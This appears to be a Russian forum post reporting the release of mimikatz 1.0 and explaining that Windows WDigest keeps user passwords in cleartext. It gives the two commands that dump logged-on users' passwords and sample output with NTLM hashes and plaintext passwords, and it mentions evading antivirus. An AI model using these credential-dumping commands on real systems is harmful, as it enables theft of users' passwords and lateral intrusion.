HIPS
Исследователь Benjamin "gentilkiwi" ("хороший киви") недавно опубликовал в своем блоге новую версию утилиты mimikatz 1.0, предназначенной для работы с учетными данными на ОС Windows. В новой версии, помимо функционала, аналогичного Windows Credentials Editor, был реализован функционал получения пароля пользователя в открытом виде.
Брешь, используемая mimikatz, связана с реализацией WDigest.dll, предназначенной для дайджест-аутентификации. Особенности реализации механизма HTTP Digest Authentication для поддержки SSO (Single Sign On) требуют знание вводимого пароля, а не только его хеша. Поэтому, разработчики Windows решили хранить пароли пользователей в открытом виде.
Чтобы просмотреть список паролей авторизованных пользователей на системе необходимо выполнить следующие команды:
privilege::debug
sekurlsa::logonPasswords full
Вывод будет примерно следующим:
Цитата:
Authentification Id : 0;210550
Package d'authentification : Kerberos
Utilisateur principal : user
Domaine d'authentification : domain
msv1_0 :
* Utilisateur : user
* Domaine : domain
* Hash LM : 25d934a376b906731d71060d896b7a46
* Hash NTLM : 13b98a9edbce8ef280527c9dd2725ea0
kerberos :
* Utilisateur : user
* Domaine : domain
* Mot de passe : password
wdigest :
* Utilisateur : user
* Domaine : domain
* Mot de passe : password
tspkg :
* Utilisateur : user
* Domaine : domain
* Mot de passe : password
новость взял
отсюда
скачать утилиту можно
отсюда
лично проверил (вин 7, 2008 R2) - работает только под администратором. В предыдущей версии утилиты антивирусы с HISP могли блокировать доступ. С неё помощью можно мигрировать пароли пользователей, если нужна очень "тихая" миграция.